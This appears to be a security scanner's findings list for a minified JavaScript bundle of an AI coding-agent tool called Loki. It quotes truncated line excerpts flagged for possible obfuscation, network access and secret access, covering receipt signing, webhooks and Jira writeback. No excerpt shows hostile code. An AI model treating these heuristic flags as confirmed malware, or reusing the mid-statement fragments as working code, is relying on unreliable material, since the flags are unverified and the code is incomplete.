  • Possible obfuscationline 818
    `).some((K)=>{let G=/^\s*(?:extra-)?index-url\s*[=:]\s*(.+)$/.exec(K);return!!G&&G[1].split(/\s+/).some(sT)}))}if($==="cargo"){if(Object.keys(J).some((z)=>/^CARGO_REGISTRIES_.+_INDEX$/.test(z)||/^CARGO_SOURCE_/.test(z)))return!0;return W(T$
  • Possible obfuscationline 819
    `)}var BH0="tests ran on the system interpreter",JM8=" (the repo declares no Python dependencies, so this is its interpreter; informational, does not cap)",OH0="receipt signing unavailable (no usable signing key: invalid key or unwritable ~
  • Possible obfuscationline 821
    `)],{repoDrivers:!0,userHooks:!0})).code!==0)return{status:"failed",data:{},reason:"git commit failed"};return{status:"completed",data:{committed:!0,head_sha:(await b7($,["rev-parse","HEAD"])).out.trim(),scope_notes:z}}}};EH0={name:"seal",.
  • Possible obfuscationline 823
    `)}let M4=q0.jwt!==null,O2={...o?{wall_published:{files:H0.files.map((B0)=>B0.rel),cmds:[...new Set(H0.files.map((B0)=>B0.cmd))]}}:{},receipt_path:u5,receipt_sha256:w0,signed:M4,kid:q0.kid,verdict:e,not_proven:U8.not_proven,...U8.context?{c
  • Possible obfuscationline 825
    Output format override: do NOT write test code. Write exactly one file, ${rU}, holding JSON {"cases":[...]} (at most ${Uc}). Each case: {"name": python identifier, "kind": one of ${qc.join("|")}, "imports": ["from pkg import fn", ...], "arr
  • Possible obfuscationline 839
    `}function LM8($,Z,J){let[X,,Y]=TY(J,"python","python3"),Q=(q)=>{let U=VM8(X,[...Y,"-I","-c",BM8],{input:JSON.stringify(q),encoding:"utf8",env:x5(),timeout:30000});try{let B=JSON.parse(U.stdout??"");if(U.status===0&&Array.isArray(B)&&B.leng
  • Possible obfuscationline 916
    `,qc,MM8,NM8,Uc=40,FM8=($=process.env)=>$.LOKI_E10_WALL_CASES==="1",SH0=($)=>$.startsWith("test")?$:`test_${$}`,wH0="At least one test must reproduce this failure from the evidence and FAIL on the current code. A test that already passes on
  • Possible obfuscationline 918
    `+wH0,fH0=($,Z)=>[...HJ0($),...Z?[TM8(Z)]:[]];var mH0=_(()=>{CT();o9();j3();i8();qc=["equals","not_equals","true","false","is_none","raises"],MM8=new Set(["name","kind","imports","arrange","call","expected","exception"]),NM8=/^(?:import [A-
  • Possible obfuscationline 925
    `);if(Y)return Y}catch{}return process.env.LOKI_E10_TASK_TEXT??""}function dH0($,Z,J=[],X=[]){let Y=Z[0];if(!Y&&J.includes("dotnet"))return e4($,cH0(cv($)??"tests/x"));if(!Y&&J.some((Q)=>Q==="maven"||Q==="gradle"||Q==="javac"))return e4($,"
  • Possible obfuscationline 927
    ${J.note}`:""),tier:"development",model:s,iterationId:z0,limitS:Fc(G.size),maxOutputTokens:$P(),signal:Z,cwd:x});if(h.killed||h.exit===null)return cY(x,{recursive:!0,force:!0}),X({status:"failed",data:{iteration_ids:[z0],model:s},reason:"wa
  • Possible obfuscationline 928
    `)}async function Zq0($,Z,J={}){let X=Date.now(),Y=await JI($,Z),Q=Y.kind==="done"?Y.result:await Nc($,Y,$.repoDir,J),W=Y.kind==="authored"?Y.model:Q.data.model??"",z=Y.kind==="done"&&Q.killed===!0,V=Y.kind==="authored"&&Q.status==="complet
  • Possible obfuscationline 934
    ${Kq0}`,...Y?{resumeSessionId:Y}:{}});return{session:{...!Q.killed&&(Q.markers.done||Q.markers.alreadyDone!==null||Q.markers.specConflict!==null)?Q:J,durationS:J.durationS+Q.durationS},iterationId:X}}function Lq0($,Z){let{files:J,readOnlyFi
  • Possible obfuscationline 936
    `)}),K=!V.killed&&V.exit===0,G={};if(K)for(let H of W)try{G[H]=YB(G9(z,H),"utf8")}catch{}return{verdict:K?cM8(G9(z,"verdict.json")):null,out:G,ids:[J],durationS:V.durationS}}finally{MV(z,{recursive:!0,force:!0})}}async function zI($,Z,J,X,Y
  • Possible obfuscationline 946
    ${O}`,...L?{resumeSessionId:L}:{}}),P=J.durationS+q.durationS+C.durationS;return{session:{...!C.killed&&(C.markers.done||C.markers.alreadyDone!==null||C.markers.specConflict!==null)?C:J,durationS:P},ids:z,defect:{file:Y.file,line:Y.line,rea
  • Possible obfuscationline 947
    `),pM8=($)=>[`${$}.orig is a test file and ${$}.new is a proposed replacement of it. Decide, from task.md alone, whether the change is a correction that task.md requires: the old assertion contradicts task.md and the new one follows from it
  • Possible obfuscationline 948
    `),iM8="the implementer reported it conflicts with the task while the repo's own tests pass on the change: Wall defect, discarded",aM8="only Loki's own acceptance test still failed after a fix round while the repo's own tests pass on the ch
  • Network accessline 949
    `),G),J=$.deps.read??((G)=>Pq0(G,"utf8")),X;try{X=J($.receiptPath)}catch{return Z(2,`receipt not found: ${$.receiptPath}`)}let Y;try{Y=JSON.parse(X)}catch{return Z(2,"receipt.json is not valid JSON")}let Q=$.runId===null?null:Rq0(Y,$.runId)
  • Network accessline 950
    `);try{return process.stdout.write(`${JSON.stringify(eM8(Y,$.key,V))} `),0}catch(G){return Z(2,G.message)}}var Dc="application/vnd.in-toto+json",Aq0="https://in-toto.io/Statement/v1",Tq0="https://autonomi.dev/loki/receipt/v10",x3=($)=>!!$&&
  • Network accessline 951
    `),0}catch(G){return Z(2,G.message)}}var Dc="application/vnd.in-toto+json",Aq0="https://in-toto.io/Statement/v1",Tq0="https://autonomi.dev/loki/receipt/v10",x3=($)=>!!$&&typeof $==="object"&&typeof $.payloadType==="string"&&typeof $.payload
  • Possible obfuscationline 951
    `),0}catch(G){return Z(2,G.message)}}var Dc="application/vnd.in-toto+json",Aq0="https://in-toto.io/Statement/v1",Tq0="https://autonomi.dev/loki/receipt/v10",x3=($)=>!!$&&typeof $==="object"&&typeof $.payloadType==="string"&&typeof $.payload
  • Possible obfuscationline 956
    `),0}var Sc=_(()=>{v7()});var OV={};D0(OV,{verifyReceipt:()=>f6,main:()=>MI,computeReceiptHash:()=>EJ,checkEventLog:()=>cq0,checkAttestation:()=>VB});import{existsSync as BI,readFileSync as I$,renameSync as zN8,statSync as VN8,writeFileSync
  • Possible obfuscationline 963
    `).digest("hex"),F=U.kid===J?y1(J,X):void 0;if(!F||U.events_sha256!==M||U.tampered!==!1||typeof U.sig!=="string"||!mq0(null,Buffer.from(`${M}:false`),F,Buffer.from(U.sig,"base64url")))return{verdict:"TAMPERED",reason:"log.sealed line is inv
  • Possible obfuscationline 972
    `),X.jwt?0:HI.UNSIGNED}function bc($){let Z=[];try{let Q=JSON.parse(I$($,"utf8")).checks;if(Array.isArray(Q))Z=Q}catch{}let J=Z.filter((Q)=>Q?.result==="pass");if(!J.some((Q)=>typeof Q.provenance==="string"))return{line:"agent-independent: 
  • Network accessline 980
    --export-dsse prints a VERIFIED or ALREADY_SATISFIED run receipt as an in-toto Statement v1 in a DSSE envelope (Ed25519 over PAE); verify accepts that file too.          --sign-deploy FILE signs a loki.deploy/1 deploy record in place; verif
  • Network accessline 981
    --sign-deploy FILE signs a loki.deploy/1 deploy record in place; verify FILE (add --receipt FILE when the cited receipt is not beside it) re-checks it offline and is VERIFIED only when the signature and the cited receipt both are.          
  • Network accessline 982
    --sign-provenance FILE signs a loki.provenance/1 doc (head_sha, tree_sha, receipt_sha256, run_id, built_at) in place; --url https://host [--expect-sha SHA] [--receipt FILE] [--pubkey FILE] fetches <host>/.well-known/loki-provenance.json (5s
  • Possible obfuscationline 1011
    `),4}return HI[N.verdict]}var EJ=($)=>HV($),uq0=($)=>$!==null&&typeof $==="object"&&!Array.isArray($),gq0=($)=>{let{k:Z,of:J}=bc($);return{k:Z,of:J}},HI,MI=($,Z={})=>LX0($,(J,X)=>NN8(J,Z,X));var k3=_(()=>{G8();K9();lY();r4();_2();TU();V9();
  • Possible obfuscationline 1013
    `);if(H){if(Q.task=H,K&&typeof Q.title!=="string")Q.title=K}}catch{}}if(Object.keys(Q).length>0)J.intake=Q;let W={...J.plan??{}};if(typeof W.plan!=="string"||!W.plan.trim()){let z=lq0(x8($,"plan-output.txt"));if(z&&z.trim())W.plan=z.trim()}
  • Possible obfuscationline 1016
    `))return{ok:!1,reason:"event log ends in a torn line"}}if(X.length===0)return{ok:!1,reason:"event log is empty or unreadable"};if(X.some((M,F)=>M.seq!==F))return{ok:!1,reason:"event log has a sequence gap"};if(new Set(X.map((M)=>M.run)).si
  • Possible obfuscationline 1028
    `),2}}let I=V.events.find((d)=>d.type==="run.started")?.data??{},w=String(I.provider??"claude"),E=String(I.model??""),D=I.deep===!0,x={...process.env,...T!==void 0?{LOKI_E10_CAP_S:String(Math.floor(T))}:{},...L.usd>0?{LOKI_E10_SPENT_USD:Str
  • Possible obfuscationline 1029
    `),z0(h.outcome)}async function TN8($,Z,J){let X=J.flatMap((A,I)=>A.type==="receipt.sealed"?[I]:[]),Y=J.findLastIndex((A,I)=>A.type==="log.sealed"&&I>(X[0]??-1)+1);if(X.length!==1)return{problem:`event log holds ${X.length} receipt.sealed e
  • Possible obfuscationline 1035
    `),0}function WU0($,Z){let J=$.trim().toLowerCase(),X=Z?["resume","fresh","discard","details"]:["fresh","discard","details"];if(J==="")return X[0];if(/^[1-9]$/.test(J))return X[Number(J)-1]??null;if(["f","s","fresh","start","start fresh"].i
  • Possible obfuscationline 1055
    `),4}function PI($){let Z=$.find((J)=>J.type==="stage.completed"&&J.stage==="intake")?.data;return Z?.source==="text"&&Z?.already_satisfied===!0&&typeof Z.comment==="string"?Z.comment:null}function AI($){return PV($.find((Z)=>Z.type==="stag
  • Possible obfuscationline 1057
    `}function xN8($){let Z=Promise.resolve(),J="",X=$.origin?{...$.env,_LOKI_ORIGIN_PINNED:"1",_LOKI_PINNED_ORIGIN:$.origin}:$.env,Y=(W)=>["issue-comment","--update",$.issueRef,W],Q=async(W)=>{let z=w8($.eventsPath),V=Date.parse(z[0]?.ts??"")|
  • Possible obfuscationline 1068
    `:""}`}function GB($,Z){return Z?$.cost.inputTokens+$.cost.outputTokens+$.cost.cacheReadTokens+$.cost.cacheCreationTokens:null}function HB($,Z){let J=Z?null:NP($.filter((X)=>X.type==="cost").map((X)=>({model:typeof X.data.model==="string"?X
  • Possible obfuscationline 1070
    [Credential-related source omitted]
  • Access to secretsline 1070
    [Credential-related source omitted]
  • Possible obfuscationline 1082
    `}function LU0($){if($.usd!=null)return`$${$.usd.toFixed(2)} (measured)${typeof $.retryUsd==="number"&&Number.isFinite($.retryUsd)&&$.retryUsd>0?` ($${$.retryUsd.toFixed(2)} on retries)`:""}`;if($.measuredSessions)return`partial: $${($.part
  • Possible obfuscationline 1084
    `}function PU0($){let Z=(M)=>$.events.findLast((F)=>F.type==="stage.completed"&&F.stage===M)?.data??{},J=$.events.find((M)=>M.type==="run.started")?.data??{},X=Array.isArray(Z("verify").pre_red_checks)?Z("verify").pre_red_checks:[],Y=(Array
  • Possible obfuscationline 1086
    [Credential-related source omitted]
  • Access to secretsline 1086
    [Credential-related source omitted]
  • Possible obfuscationline 1088
    [Credential-related source omitted]
  • Access to secretsline 1088
    [Credential-related source omitted]
  • Possible obfuscationline 1089
    `)}return X}function BB($,Z,J,X){let Y=R$(Z.LOKI_E10_MAX_COST_USD)??0,Q=Number(Z.LOKI_E10_SPENT_USD),W=_U0(Y,Q),z=Z.LOKI_BUDGET_LEDGER?Qd(Z.LOKI_BUDGET_LEDGER):"",V=!1;if(z)try{kI(z,""),EU0(z)}catch{V=!0}let K=Number.isFinite(Q)&&Q>0?Q:0;if
  • Possible obfuscationline 1092
    `)}catch{V=!0}}if($(O,L,C),O==="cost"&&Y>0)for(let P of Wd){let T=q();if(U.has(P)||!B(T,P))continue;U.add(P);let A={threshold_pct:Math.round(P*100),threshold_usd:Math.round(Y*P*1e6)/1e6,usd_so_far:T,cap_usd:Y};$("budget",L,{...A});try{J?.(A
  • Possible obfuscationline 1093
    `)}catch{}}function nN8($){try{let Z=JSON.parse(EU0($,"utf8"));return Z.outcome==="budget_stopped"&&typeof Z.spent_usd==="number"&&typeof Z.cap_usd==="number"?Z:null}catch{return null}}function SI($,Z){let J=rY($,".loki","runs"),X=[];try{X=
  • Possible obfuscationline 1094
    `);return(X?J:xU0)*1000}async function hU0($,Z,J={}){let X=typeof J==="function"?{sleep:J}:J,Y=X.sleep??(()=>$F8(1000)),Q=X.alive??ZF8,W=X.now??Date.now,z=X.timeoutMs??JF8(),V=W(),K=bI($),G=null;while(K==="pause"){if(!Q()){G="owner_gone";br
  • Possible obfuscationline 1102
    `);if(!N)return{text:C,files:G,pack:null};let{text:P,...T}=N;return{text:C,files:[...new Set([...G,...N.files])],pack:T}}var vI,uU0=20,WF8=10,Ud=($)=>/^[\w@%+=:,./-]+$/.test($)?$:`'${$.replace(/'/g,"'\\''")}'`,zF8=($,Z,J)=>[...new Set(($?.r
  • Possible obfuscationline 1103
    `)});import{closeSync as uI,constants as Q7,fchmodSync as pU0,lstatSync as eY,mkdirSync as lU0,openSync as cI,readFileSync as iU0,readlinkSync as VF8,realpathSync as fI,rmSync as gI,symlinkSync as KF8,unlinkSync as GF8,writeFileSync as Nd}f
  • Possible obfuscationline 1106
    `).join(""),q=new Set(LB(V,$.base).map((U)=>U.path).filter((U)=>!X.has(U)));return{diff:G+H,weakensTest:[...$.wallPaths].some((U)=>Q(V,z===0,U,q))}},async score(){let z=[];for(let V of $.S)await $.runOne(V,z);return z},dispose:()=>{try{eU0(
  • Possible obfuscationline 1112
    `))}var KB0=10,GB0="plan-output.txt",Ad,_F8;var Td=_(()=>{iC();t6();_6();C4();c5();R3();kU();AJ();QV();VB0();JJ();j4();CT();XV();Ad={name:"plan",targetS:45,limitS:90,async run($,Z){let J=$.outputs(),X=qV($,J.intake?.task),Y=J.intake?.repoma
  • Possible obfuscationline 1114
    ${WB0}`:""),tier:"fast",iterationId:N,limitS:Ad.limitS,signal:Z,cwd:$.repoDir,...G.pinFor(x,$.model)}),C=await L(!1),P=G.planModel(LJ(process.env)),T=null;if(G.pinOpus&&!C.killed&&C.exit!==0)P=jd($.model),T=`Opus plan session failed (${C.ex
  • Possible obfuscationline 1117
    `))}function ZQ($){let Z=[];for(let J of $)if((fF8(J.path)?IB0(J.path,"utf8"):null)!==J.content)RB0(J.path,J.content,"utf8"),Z.push(J.path);return Z}function TB0($){try{return M$($.repoDir,$.baseSha,v6($.repoDir,$.outputs().intake?.install_
  • Possible obfuscationline 1119
    `);let G=Dd($.repoDir,$.runId,X,[...J.plan?.relevant_files??[],...Q],$.runDir),H=EB0($,z?void 0:V?.to??$.model),q=H.text+G+_V($.repoDir),U=cF8($),B=z||!Y?null:TZ0($,V?.to??$.model,LJ(process.env)),M=z||process.env.LOKI_E10_ATTEMPTS==="2"?nu
  • Possible obfuscationline 1120
    `);let z0=`${C.iterationId}f`;E.push(z0),w=await $.sessions.run({...P(),iterationId:z0})}if(A&&!Z.aborted)w=await OB0($,C,w,A,E,()=>TB0($));if(w.markers.specConflict&&!w.killed){let z0=await Fq0($,{...P(),iterationId:E[E.length-1]},w);if(w=
  • Possible obfuscationline 1124
    ${xm(d)}`,M=new Set,N={...$,sessions:{run:async(h)=>{M.add(h.iterationId);let d=K.length,v=MK0(h,$.repoDir,K);if(K.length>d)$.emit("intent.revised",v.stage,{revisions:K});let p=U===null?1/0:Math.max(1,T-($.clock.now()-U)/1000),Z0=v.stage===
  • Possible obfuscationline 1125
    `),v="stalled";break}c=o?e:null;let U0=await E("verify",!0);if(p.push(Z0(X.verify,U0)),D("verify",U0))break;if(Ec(X,$.repoDir)&&wc(X,$.repoDir)===i)break;if(SB0(X.verify)&&p.length>=2&&p.slice(-2).every((E0)=>E0===p[p.length-1])){let E0=Zg(
  • Network accessline 1126
    `)){let Y=X.trim();if(!Y)continue;if(XO8.test(Y))return{reason:"rate_limit",evidence:Y.slice(0,300)};if(YO8.test(Y))return{reason:"outage",evidence:Y.slice(0,300)}}return null}function WO8($=process.env){return $.LOKI_FAILOVER!=="0"}functio
  • Possible obfuscationline 1126
    `)){let Y=X.trim();if(!Y)continue;if(XO8.test(Y))return{reason:"rate_limit",evidence:Y.slice(0,300)};if(YO8.test(Y))return{reason:"outage",evidence:Y.slice(0,300)}}return null}function WO8($=process.env){return $.LOKI_FAILOVER!=="0"}functio
  • Network accessline 1127
    [Credential-related source omitted]
  • Possible obfuscationline 1127
    [Credential-related source omitted]
  • Network accessline 1128
    `)}}async function qO8($,Z,J){let X=$[$.LOKI_SLACK_WEBHOOK_ENV||"LOKI_SLACK_WEBHOOK_URL"],Y=async()=>{if(!X)return;try{await fetch(X,{method:"POST",headers:{"content-type":"application/json"},body:JSON.stringify(uB0(Z,J))})}catch(Q){process
  • Possible obfuscationline 1129
    [Credential-related source omitted]
  • Access to secretsline 1129
    [Credential-related source omitted]
  • Possible obfuscationline 1131
    [Credential-related source omitted]
  • Access to secretsline 1131
    [Credential-related source omitted]
  • Possible obfuscationline 1132
    [Credential-related source omitted]
  • Possible obfuscationline 1139
    ${Q.join( `)}`.replace(/\s+$/,"");return{...$,body:W,comments:X,comments_omitted:Y,comments_excluded:J}}function XM0($,Z){let J=Number(process.env.LOKI_FETCH_ISSUE_TIMEOUT_MS)||60000;return FO8($,Z,{encoding:"utf8",env:process.env,timeout:J
  • Network accessline 1140
    `)}`.replace(/\s+$/,"");return{...$,body:W,comments:X,comments_omitted:Y,comments_excluded:J}}function XM0($,Z){let J=Number(process.env.LOKI_FETCH_ISSUE_TIMEOUT_MS)||60000;return FO8($,Z,{encoding:"utf8",env:process.env,timeout:J,killSigna
  • Network accessline 1141
    ${$.body.trim()} `,TO8;var QR=_(()=>{G8();jO8=new Set(["OWNER","MEMBER","COLLABORATOR"]);TO8=LO8(x0,"autonomy/issue-providers.sh")});var HM0={};D0(HM0,{validItemKey:()=>fd,steerActors:()=>vd,runTrackerListCli:()=>vO8,parseTrackerRef:()=>RB,
  • Network accessline 1142
    `,TO8;var QR=_(()=>{G8();jO8=new Set(["OWNER","MEMBER","COLLABORATOR"]);TO8=LO8(x0,"autonomy/issue-providers.sh")});var HM0={};D0(HM0,{validItemKey:()=>fd,steerActors:()=>vd,runTrackerListCli:()=>vO8,parseTrackerRef:()=>RB,parseTrackerProje
  • Possible obfuscationline 1142
    `,TO8;var QR=_(()=>{G8();jO8=new Set(["OWNER","MEMBER","COLLABORATOR"]);TO8=LO8(x0,"autonomy/issue-providers.sh")});var HM0={};D0(HM0,{validItemKey:()=>fd,steerActors:()=>vd,runTrackerListCli:()=>vO8,parseTrackerRef:()=>RB,parseTrackerProje
  • Network accessline 1149
    [Credential-related source omitted]
  • Possible obfuscationline 1149
    [Credential-related source omitted]
  • Access to secretsline 1149
    [Credential-related source omitted]
  • Network accessline 1150
    `),2;try{let K=await GM0(Y,{...z?{label:z}:{},...V?{numbers:V.split(",").map(Number)}:{}},Z,J);return process.stdout.write(`${JSON.stringify(K)} `),0}catch(K){return process.stderr.write(`loki internal tracker-list: ${K.message} `),1}}var b
  • Network accessline 1151
    `),0}catch(K){return process.stderr.write(`loki internal tracker-list: ${K.message} `),1}}var bd="[A-Z][A-Z0-9_]*-\\d+",RO8,EO8,wO8,DO8,_O8,zR=200,VM0=($,Z)=>$.number-Z.number,KM0=($)=>Number(/-(\d+)$/.exec($)?.[1]??0);var VR=_(()=>{QR();RO
  • Network accessline 1152
    `),1}}var bd="[A-Z][A-Z0-9_]*-\\d+",RO8,EO8,wO8,DO8,_O8,zR=200,VM0=($,Z)=>$.number-Z.number,KM0=($)=>Number(/-(\d+)$/.exec($)?.[1]??0);var VR=_(()=>{QR();RO8=new RegExp(`^jira:(${bd})$`),EO8=new RegExp(`^https://([\\w-]+(?:\\.[\\w-]+)*\\.at
  • Possible obfuscationline 1152
    `),1}}var bd="[A-Z][A-Z0-9_]*-\\d+",RO8,EO8,wO8,DO8,_O8,zR=200,VM0=($,Z)=>$.number-Z.number,KM0=($)=>Number(/-(\d+)$/.exec($)?.[1]??0);var VR=_(()=>{QR();RO8=new RegExp(`^jira:(${bd})$`),EO8=new RegExp(`^https://([\\w-]+(?:\\.[\\w-]+)*\\.at
  • Possible obfuscationline 1153
    `)}clear(){if(this.shown)this.o.write("\r\x1B[2K"),this.shown=!1;this.closed=!0}}var hO8;var qM0=_(()=>{P$();BJ();K9();hO8={intake:"reading the task",plan:"planning",wall:"writing acceptance checks",implement:"implementing",verify:"verifyin
  • Network accessline 1154
    [Credential-related source omitted]
  • Possible obfuscationline 1154
    [Credential-related source omitted]
  • Access to secretsline 1154
    [Credential-related source omitted]
  • Network accessline 1155
    `),X.push(`wrote default config ${B} (provider=${q})`)}catch(F){Y.push(`loki config set provider claude   (${F.message})`)}else try{JSON.parse(CL8(B,"utf8"))}catch{let F=`${B} is not valid JSON; fix or delete it, then run: loki config set p
  • Network accessline 1156
    [Credential-related source omitted]
  • Access to secretsline 1156
    [Credential-related source omitted]
  • Network accessline 1162
    Run these yourself (need a package manager, sudo, network or your consent): `);for(let Y of J)process.stdout.write(`  ${Y} `)}return X.length>0?1:0}var hM0,fM0,TL8,IL8=($)=>{let[Z,...J]=$,X=gM0(Z,J,{stdio:["inherit","inherit","pipe"],encodi
  • Network accessline 1163
    `);for(let Y of J)process.stdout.write(`  ${Y} `)}return X.length>0?1:0}var hM0,fM0,TL8,IL8=($)=>{let[Z,...J]=$,X=gM0(Z,J,{stdio:["inherit","inherit","pipe"],encoding:"utf8",env:S8()});if(X.error)return{status:null,stderr:String(X.error.mes
  • Network accessline 1164
    `)}return X.length>0?1:0}var hM0,fM0,TL8,IL8=($)=>{let[Z,...J]=$,X=gM0(Z,J,{stdio:["inherit","inherit","pipe"],encoding:"utf8",env:S8()});if(X.error)return{status:null,stderr:String(X.error.message)};return{status:X.status,stderr:X.stderr??
  • Possible obfuscationline 1164
    `)}return X.length>0?1:0}var hM0,fM0,TL8,IL8=($)=>{let[Z,...J]=$,X=gM0(Z,J,{stdio:["inherit","inherit","pipe"],encoding:"utf8",env:S8()});if(X.error)return{status:null,stderr:String(X.error.message)};return{status:X.status,stderr:X.stderr??
  • Network accessline 1165
    `)}function uL8($){let Z=$.match(mL8);return Z?Z[1]:null}async function JN0($){try{let Z=await B8([$,"--version"],{timeoutMs:5000}),J=(Z.stdout||Z.stderr||"").trim();return uL8(J)}catch{return null}}async function XN0($,Z,J,X=null){let Y=aw
  • Possible obfuscationline 1165
    `)}function uL8($){let Z=$.match(mL8);return Z?Z[1]:null}async function JN0($){try{let Z=await B8([$,"--version"],{timeoutMs:5000}),J=(Z.stdout||Z.stderr||"").trim();return uL8(J)}catch{return null}}async function XN0($,Z,J,X=null){let Y=aw
  • Network accessline 1166
    [Credential-related source omitted]
  • Possible obfuscationline 1166
    [Credential-related source omitted]
  • Access to secretsline 1166
    [Credential-related source omitted]
  • Network accessline 1185
    `),process.stdout.write(`Checks: node, python3, jq, git, curl, bash version, `),process.stdout.write(`        claude/opencode CLIs, and disk space. `)}function Zj8($){let Z="other";if($.includes("No AI provider CLI"))Z="no_provider";else if
  • Network accessline 1187
    `)}function Zj8($){let Z="other";if($.includes("No AI provider CLI"))Z="no_provider";else if($.includes("Node.js is not installed")||$.includes("Node.js must be"))Z="node";else if($.includes("Python 3 is not installed")||$.includes("Python 
  • Access to secretsline 1209
    [Credential-related source omitted]
  • Access to secretsline 1212
    [Credential-related source omitted]
  • Access to secretsline 1213
    [Credential-related source omitted]
  • Access to secretsline 1250
    [Credential-related source omitted]
  • Possible obfuscationline 1332
    `),1;if(W){let{loadProfile:K,ensureProfile:G,renderProfile:H,repoReadiness:q}=await Promise.resolve().then(() => (R2(),rQ0)),U=K(process.cwd());if((!U||Y)&&process.env.LOKI_REPO_BASELINE!=="0")U=G(process.cwd())?.profile??U;let B=await MR()
  • Possible obfuscationline 1338
    [Credential-related source omitted]
  • Access to secretsline 1338
    [Credential-related source omitted]
  • Network accessline 1343
    [Credential-related source omitted]
  • Possible obfuscationline 1343
    [Credential-related source omitted]
  • Network accessline 1344
    `);if(Z==="failed")return["Loki run failed without a PR.",J].filter(Boolean).join(` `);return[`Loki outcome: ${$.verdict}`,`PR: ${$.prUrl??"none"}`,`Receipt sha256: ${$.receiptSha256??"unavailable"}`].join(` `)}async function PR($,Z,J,X="co
  • Network accessline 1345
    `);return[`Loki outcome: ${$.verdict}`,`PR: ${$.prUrl??"none"}`,`Receipt sha256: ${$.receiptSha256??"unavailable"}`].join(` `)}async function PR($,Z,J,X="comment"){try{let Y=await fetch($,{...Z,signal:AbortSignal.timeout(1e4)});if(!Y.ok)pro
  • Network accessline 1346
    `)}async function PR($,Z,J,X="comment"){try{let Y=await fetch($,{...Z,signal:AbortSignal.timeout(1e4)});if(!Y.ok)process.stderr.write(`writeback: ${J} ${X} failed (HTTP ${Y.status})
  • Network accessline 1347
    `)}catch(Y){process.stderr.write(`writeback: ${J} ${X} failed (${Y.name}) `)}}async function Cj8($,Z=process.env){try{let J=Z.LOKI_JIRA_URL??Z.JIRA_BASE_URL,X=Z.LOKI_JIRA_TOKEN??Z.JIRA_API_TOKEN,Y=Z.LOKI_JIRA_EMAIL??Z.JIRA_EMAIL,Q=Z.LOKI_LI
  • Network accessline 1348
    [Credential-related source omitted]
  • Possible obfuscationline 1348
    [Credential-related source omitted]
  • Access to secretsline 1348
    [Credential-related source omitted]
  • Network accessline 1349
    [Credential-related source omitted]
  • Possible obfuscationline 1350
    `)}}var Pp;var TR=_(()=>{Pp=/\b[A-Z][A-Z0-9]{1,9}-\d{1,7}\b/});var Ap={};D0(Ap,{refuseCommandGoal:()=>Ij8,publishPlan:()=>Aj8,publishNote:()=>Tj8,landNext:()=>Rj8,inferProvider:()=>Pj8,PROVIDER_ORDER:()=>mN0});function Pj8($,Z){if(Z||gN0("c
  • Possible obfuscationline 1353
    `),2}function Rj8($,Z,J){if(!$||!Z)return"";return $==="gh_unauthenticated"?`gh auth login && git push -u origin ${Z} && gh pr create --fill`:`git checkout ${J??"main"} && git merge --no-ff ${Z}`}var mN0,gN0=($,Z)=>!!Bun.which((Z[jR[$]]??""
  • Possible obfuscationline 1354
    ${String(G.stderr??"")}`.slice(-16000);return Q({suiteExit:H,suiteOutput:B,reason:H===null?"suite did not complete":`suite exit ${H}`})}let q=$.walls?await dN0(new w3,$.repoDir,V,$.walls):void 0;if(q){let B=V.filter((F)=>q[F]?.status==="fai
  • Possible obfuscationline 1371
    `),X;X=await J()}return X}var aN0=2,gj8=($)=>($.LOKI_GROUP_FIX_UNITS??"1")!=="0";var sN0=_(()=>{b0()});function pj8($){let Z=new Map;for(let J of $.units)for(let X of new Set(dj8(J)))Z.set(X,(Z.get(X)??0)+1);if(!Z.size)return 0;return[...Z.
  • Possible obfuscationline 1372
    `),Z.map,Z.tests??null).size);for(let Q of $.units){let W=Y(Q);if(W!=="small"&&W!=="normal")return{mode:"sequential",reason:`${Q.id} sizes ${W}, needs small or normal`}}return{mode:"parallel",reason:`${$.units.length} units, overlap ${J.toF
  • Possible obfuscationline 1380
    `}function Dp($,Z,J,X){let Y=t9($,".loki","metrics","efficiency"),Q=new Date().toISOString();try{let W={phase:"implement",provider:X,status:"group",kind:"group_cost",timestamp:Q},z=[];for(let V of J){if(V.measured>0&&V.usd!==null)z.push({..
  • Possible obfuscationline 1404
    [Credential-related source omitted]
  • Access to secretsline 1404
    [Credential-related source omitted]
  • Possible obfuscationline 1415
    `),{code:T,task:G}}return{code:0,task:G}}catch(N){return{code:await V(N),task:G}}}if(!q||q.units.length<2)return W(G,`decomposer returned ${q?.units.length??0} unit`);let M=cB(J,X.provider);if(M.slots<2)return W(G,`provider ${M.provider} ru
  • Possible obfuscationline 1418
    `)}catch{}}var bp=3,wC8=20,vp=($=process.env)=>$.LOKI_FORECAST!=="0",DR=($)=>typeof $==="number"&&Number.isFinite($),NF0=($)=>EC8($,"quota-runs.jsonl"),MF0=($)=>{let Z=Math.floor(Math.min(...$)),J=Math.ceil(Math.max(...$));return Z===J?`${J
  • Possible obfuscationline 1437
    `),0}function TF0($,Z,J,X,Y){let Q=[];if(Q.push("Loki overnight queue digest"),Q.push(`Started:  ${$.toISOString()}`),Q.push(`Finished: ${Z.toISOString()}`),Q.push(`Processed: ${J.length}   Skipped: ${X.length}`),Y)Q.push(`Stopped early: ${
  • Possible obfuscationline 1444
    `)}return Z.out(O),0}async function RF0($){let Z=Bun.spawn(["python3",dp(x0,"scripts","usage-governor.py"),"--json"],{stdout:"pipe",stderr:"pipe",stdin:"ignore",env:{...process.env}}),J=setTimeout(()=>Z.kill(),$),X=await new Response(Z.stdo
  • Possible obfuscationline 1449
    `;var iB=_(()=>{L9();G8();E7();gp();kC8=/^(?:[A-Za-z0-9_.-]+\/[A-Za-z0-9_.-]+#\d+|#?\d+)$/,SC8=/^https:\/\/github\.com\/([A-Za-z0-9_.-]+\/[A-Za-z0-9_.-]+)\/issues\/(\d+)\/?$/,yC8=/https:\/\/github\.com\/[A-Za-z0-9_.-]+\/[A-Za-z0-9_.-]+\/pul
  • Possible obfuscationline 1452
    `)}function vF0($,Z){return[`Loki triage: too-large (${ZZ($)}). Loki split it into ${Z.length} stacked pull requests, run in this order:`,"",...Z.map((J,X)=>`${X+1}. ${J.id}: ${J.title}${J.depends_on.length?` (after ${J.depends_on.join(", "
  • Possible obfuscationline 1455
    `}function tp($,Z,J,X){return async(Y,Q,W,z)=>{let{mkdirSync:V,readFileSync:K,existsSync:G}=await import("fs"),{join:H}=await import("path"),{createSessionRunner:q}=await Promise.resolve().then(() => (_6(),nB)),{envOverride:U}=await Promise
  • Possible obfuscationline 1457
    `}}var op,sp=2,iV=4,ZZ=($)=>$.replace(/[\x00-\x1f\x7f]+/g," ").replace(/\s+/g," ").trim(),uC8=500,np=($,Z,J=!1)=>{if(!Array.isArray($))return null;let X=[...new Set($.filter((Y)=>typeof Y==="string").map(ZZ).filter((Y)=>Y!==""&&(J||Y.length
